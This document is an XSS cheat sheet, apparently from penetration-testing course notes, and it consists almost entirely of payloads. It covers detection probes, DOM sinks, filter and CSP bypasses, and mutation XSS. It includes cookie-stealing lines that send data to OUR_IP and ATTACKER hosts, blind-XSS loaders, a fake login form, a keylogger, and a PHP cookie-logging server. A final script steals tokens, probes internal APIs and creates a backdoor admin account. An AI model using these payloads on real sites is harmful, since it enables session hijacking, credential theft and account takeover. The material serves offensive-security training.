Web

Cross-Site Scripting (XSS)

XSS from the CWES path: detection payloads, DOM sinks/sources, attribute/JS-context break-outs, session hijacking, blind XSS, phishing injection, keylogger, filter bypass, and the PHP cookie stealer. Every payload separated.

Detection

Script tag (HTML body):

<script>alert(window.origin)</script>

Image onerror (when <script> is blocked):

<img src="" onerror=alert(window.origin)>

SVG onload:

<svg onload=alert(1)>

Break out of a double-quoted attribute:

"><script>alert(1)</script>

Break out of a single-quoted attribute:

'><img src=x onerror=alert(1)>

Shotgun probe (both quote types):

'"><script>alert(1)</script>

DOM XSS

Test location.hash written to the DOM (in URL):

http://TARGET/page#"><img src=/ onerror=alert(document.cookie)>

Dangerous sinks to grep for in JS:

innerHTML  outerHTML  document.write()  eval()  setTimeout()  location.href  src

Sources that flow into sinks:

location.hash  location.search  document.referrer

Session hijacking

Leak the cookie via an Image request (stealthy):

new Image().src='http://OUR_IP/index.php?c='+document.cookie

fetch (stays on the page):

fetch('http://OUR_IP:8000/?cookie='+btoa(document.cookie))

Redirect with the cookie in the URL:

document.location='http://OUR_IP:8000/?cookie='+document.cookie

Blind XSS

Direct HTML context:

<script src=http://OUR_IP/username></script>

Single-quoted attribute context:

'><script src=http://OUR_IP></script>

Double-quoted attribute context:

"><script src=http://OUR_IP></script>

Phishing - fake login injection

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();

Keylogger (stored XSS)

<script>document.onkeypress = function(e){ fetch('http://OUR_IP:8000/?k='+e.key); }</script>

Filter bypass

Case variation:

<ScRiPt>alert(1)</ScRiPt>

SVG with slash:

<svg/onload=alert(1)>

Details ontoggle:

<details open ontoggle=alert(1)>

HTML entity encoding:

&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;
<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>

DOM XSS — Sources and Sinks (full table)

SourceHow to inject
location.search?param=PAYLOAD
location.hash#PAYLOAD
document.referrerReferer header
window.nameSet before navigation
postMessageCross-origin message
SinkExploit
innerHTML / outerHTML<img src=x onerror=alert(1)>
document.write()<script>alert(1)</script>
eval() / setTimeout(str)alert(1)
location.hrefjavascript:alert(1)
jQuery.html()<img src=x onerror=alert(1)>
grep -r "innerHTML\|document\.write\|eval(\|\.src\s*=\|location\.href" *.js

DOM XSS via postMessage

<iframe src="https://TARGET/page" id="f"></iframe>
<script>
  document.getElementById('f').onload = function() {
    this.contentWindow.postMessage('<img src=x onerror=alert(document.domain)>', '*');
  };
</script>

CSP bypass

JSONP (trusted domain serves JSONP)

<script src="https://cdn.trusted.com/jsonp?callback=alert(1)//"></script>

Leaked/predictable nonce

<script nonce="LEAKED_NONCE">alert(1)</script>

unsafe-eval present

<script>eval('alert(1)')</script>

Trusted domain with open redirect

<script src="https://trusted.com/redirect?url=https://attacker.com/xss.js"></script>

Dangling markup injection

When CSP blocks scripts but you control HTML:

"><img src='https://ATTACKER/?data=

Everything between the injected tag and the next quote (CSRF tokens, API keys) gets sent to your server.


Client-side template injection (CSTI)

AngularJS (ng-app on the page):

{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}

Test:

curl -s "https://TARGET/search?q={{7*7}}" | grep "49"

XSS in JavaScript string contexts

Single-quoted string: '; alert(1); var x='

Double-quoted string: "; alert(1); var x="

Template literal: `; alert(1); x=`

Event attribute (onmouseover="doSomething('USER_INPUT')") → ');alert(1);//

JSON assignment (var data = {"name":"USER_INPUT"}) → "}; alert(1); var x={"a":"


mXSS (Mutation XSS)

The browser mutates the payload after the sanitiser runs.

Namespace confusion

<svg><p><style><g title="</style><img src=x onerror=alert(1)>">

noscript

<noscript><p title="</noscript><img src=x onerror=alert(1)>">

Test in console

var div = document.createElement('div');
div.innerHTML = 'YOUR_PAYLOAD';
document.body.appendChild(div);
// if div.innerHTML differs from what you set → mutation

XSS → Internal API Enumeration

Steal auth token

var token = localStorage.getItem('token') || localStorage.getItem('authToken') || '';
fetch('https://ATTACKER/token?t=' + btoa(token));

Enumerate internal endpoints

var token = localStorage.getItem('token');
['/api/admin', '/api/users', '/api/config', '/internal/health', '/actuator/env'].forEach(function(ep) {
    var xhr = new XMLHttpRequest();
    xhr.onload = function() {
        fetch('https://ATTACKER/enum?path=' + btoa(ep) + '&status=' + xhr.status + '&body=' + btoa(xhr.responseText.substring(0, 500)));
    };
    xhr.open('GET', ep, true);
    if (token) xhr.setRequestHeader('Authorization', 'Bearer ' + token);
    xhr.send();
});

POST to privileged action

fetch('/api/admin/users', {
    method: 'POST',
    headers: {'Content-Type': 'application/json', 'Authorization': 'Bearer ' + localStorage.getItem('token')},
    body: JSON.stringify({username: 'backdoor', password: 'P@ssw0rd!', role: 'admin'})
}).then(r => r.text()).then(d => fetch('https://ATTACKER/result?d=' + btoa(d)));